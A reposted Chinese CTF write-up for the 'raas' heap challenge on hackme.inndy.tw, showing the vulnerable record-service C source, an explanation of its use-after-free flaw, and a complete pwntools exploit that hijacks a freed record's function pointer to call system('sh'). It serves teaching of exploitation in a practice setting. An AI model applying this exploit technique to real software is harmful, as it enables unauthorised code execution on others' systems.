raas的wp
来源:互联网 发布:淘宝代销货图片签协议 编辑:程序博客网 时间:2024/06/05 03:53
https://hackme.inndy.tw/scoreboard/ 题目很有趣,我做了raas这个题目感觉还不错,我把wp分享出来,方便大家学习 raas的题目要求是:
nc hackme.inndy.tw 7719This is a Record-as-a-Service!And also our fist heap-based challenge.Source code is availableTips: use after free
给的源码是:
#include <stdio.h>#include <stdlib.h>#include <unistd.h>struct record { void (*print)(struct record *); void (*free)(struct record *); union { int integer; char *string; };};struct record *records[16];int ask(const char * q){ char buff[32]; printf("%s > ", q); fgets(buff, sizeof(buff), stdin); return atoi(buff);}void rec_int_print(struct record *rec){ printf("Record(Type=Integer, Value=%d)\n", rec->integer);}void rec_str_print(struct record *rec){ printf("Record(Type=String, Value=%s)\n", rec->string);}void rec_int_free(struct record *rec){ free(rec); puts("Record freed!");}void rec_str_free(struct record *rec){ free(rec->string); free(rec); puts("Record freed!");}void do_new(){ int idx = ask("Index"); if(idx < 0 || idx > 16) { puts("Out of index!"); return; } if(records[idx]) { printf("Index #%d is used!\n", idx); return; } struct record *r = records[idx] = (struct record *)malloc(sizeof(struct record)); r->print = rec_int_print; r->free = rec_int_free; puts("Blob type:"); puts("1. Integer"); puts("2. Text"); int type = ask("Type"); unsigned int len; switch(type) { case 1: r->integer = ask("Value"); break; case 2: len = ask("Length"); if(len > 1024) { puts("Length too long, please buy record service premium to store longer record!"); return; } r->string = malloc(len); printf("Value > "); fgets(r->string, len, stdin); r->print = rec_str_print; r->free = rec_str_free; break; default: puts("Invalid type!"); return; } puts("Okey, we got your data. Here is it:"); r->print(r);}void do_del(){ int idx = ask("Index"); records[idx]->free(records[idx]);}void do_dump(){ int idx = ask("Index"); records[idx]->print(records[idx]);}int main(){ alarm(600); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stdin, NULL, _IONBF, 0); puts("Welcome to use my Record-as-a-Service (free plan)"); puts("You can only save Integer or String for 600 seconds"); puts("Pay 1,000,000,000,000,000,000,000,000 bitcoins to buy premium plan"); puts("Here is term of service. You must agree to use this service. Please read carefully!"); puts("================================================================================"); system("cat tos.txt | head -n 30 | sed -e 's/^/ /'"); puts("================================================================================"); while(1) { puts("1. New record"); puts("2. Del record"); puts("3. Show record"); switch(ask("Act")) { case 1: do_new(); break; case 2: do_del(); break; case 3: do_dump(); break; default: puts("Bye~ Thanks for using our service!"); return 0; } }}
这个题目根据提示来看是一道uaf题目,首先uaf是啥,通过http://www.mamicode.com/info-detail-1095509.html和https://www.cnblogs.com/alert123/p/4918041.html和https://bbs.pediy.com/thread-221537.htm这三篇文章可以了解其中的原理
因为程序源码已经给了,所以我就简单说一下这个程序是干啥的:这个程序可以增删查最多16组记录,其中输入的16组记录可以输入数字或者字符串。由于程序在删除记录的时候没有清空数组内的指针,所以导致了uaf的产生
先运行一下程序看一下这个程序干了啥
可以看到这个程序的流程还是很清晰的
再看看程序开启了哪些保护:
看到NX enabled,Canary found分别是开启了栈不可执行和金丝雀保护
因为这个程序用数组保存了新开辟空间的内存,但是在释放内存的时候没有把数组中的指针删除,所以导致漏洞的产生,我的思路是是首先创建两个保存数字1234的记录
然后将两个记录依次释放,下图是内存释放后的数据
再创建两个字符型的记录,因为Linux的内存机制会重复利用已经释放后的内存以避免内存碎片的产生,所以,再次申请的两个内存的话指针依然是0x9c45008和0x9c45018,此时数组里面存储的指针分别为
此时记录两个字符型的变量分别是bbbbaaaabbb和aaaa
这里可以清晰的看到字符串bbbbaaaabbb写入的地址就是数组中第一个地址的所指的位置,此时bbbb覆盖了rec_int_print指针所在的位置,aaaa覆盖了rec_int_free所在的位置,虽然数组1所指的数据已经被释放,但是指针依然可以被访问,此时再调用do_del这个函数再去释放数组1,就可以导致eip被任意控制
此时把aaaa的位置替换成plt@system的地址,把bbbb换成传入system的参数就可以getshell了,此时应该注意的是传入system的参数后面应该用/x00截断,否则会造成执行不成功
所以最后我的exp是:
#!/usr/bin/env python# -*- coding: utf-8 -*-__Auther__ = 'niexinming'from pwn import *context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')def debug(addr = '0x080487A3'): raw_input('debug:') gdb.attach(io, "set follow-fork-mode parent\nb *" + addr)elf = ELF('/home/h11p/ctf/raas')system_addr=elf.plt['system']print "%x" % system_addrprintf_addr=elf.plt['printf']print "%x" % printf_addrio = process('/home/h11p/ctf/raas')#io = remote('hackme.inndy.tw', 7719)payload="sh\x00\x00"+p32(system_addr)+"b"*3debug()#io.recvuntil('Where What?')io.recvuntil('Act > ')io.sendline('1')io.recvuntil('Index > ')io.sendline('1')io.recvuntil('Type > ')io.sendline('1')io.recvuntil('Value > ')io.sendline('1234')io.recvuntil('Act > ')io.sendline('1')io.recvuntil('Index > ')io.sendline('2')io.recvuntil('Type > ')io.sendline('1')io.recvuntil('Value > ')io.sendline("1234")io.recvuntil('Act > ')io.sendline('2')io.recvuntil('Index > ')io.sendline('1')io.recvuntil('Act > ')io.sendline('2')io.recvuntil('Index > ')io.sendline('2')io.recvuntil('Act > ')io.sendline('1')io.recvuntil('Index > ')io.sendline('3')io.recvuntil('Type > ')io.sendline('2')io.recvuntil('Length > ')io.sendline('12')io.recvuntil('Value > ')io.send(payload)io.recvuntil('Act > ')io.sendline('1')io.recvuntil('Index > ')io.sendline('4')io.recvuntil('Type > ')io.sendline('2')io.recvuntil('Length > ')io.sendline('7')io.recvuntil('Value > ')io.sendline("a"*4)io.recvuntil('Act > ')io.sendline('2')io.recvuntil('Index > ')io.sendline('1')io.interactive()io.close()
效果是
- raas的wp
- WP的好书
- wp的progressDialog
- wp 遇到的错误
- wp 的MD5代码
- 移植WP的总结
- sp&wp 的三板斧
- WP的后台代理
- sp&wp 的三板斧
- sp&wp 的三板斧
- smashthestack的wp
- onepunch的wp
- ping的wp
- leave_msg的wp
- stack的wp
- very_overflow的wp
- 湖湘杯pwn400的wp
- notepad的wp
- 利用进程管理后台运行node
- Android Chromium动态库加载过程
- Codeforces #Round 447Div2 D
- 链表的相关操作(3)
- 文章标题
- raas的wp
- 【玩转树莓派】使用 sinopia 搭建私有 npm 服务器
- 今年收获不错
- Shop项目--3. 使用ajax获取商品分类列表,并存在redis中
- Cmder默认的命令提示符 λ 改成 $
- 【docker】sshd
- Python处理list中的重复元素(重命名,统计,删除等)
- vue的多层主键的通信
- linux查看网卡信息的几种方法(命令)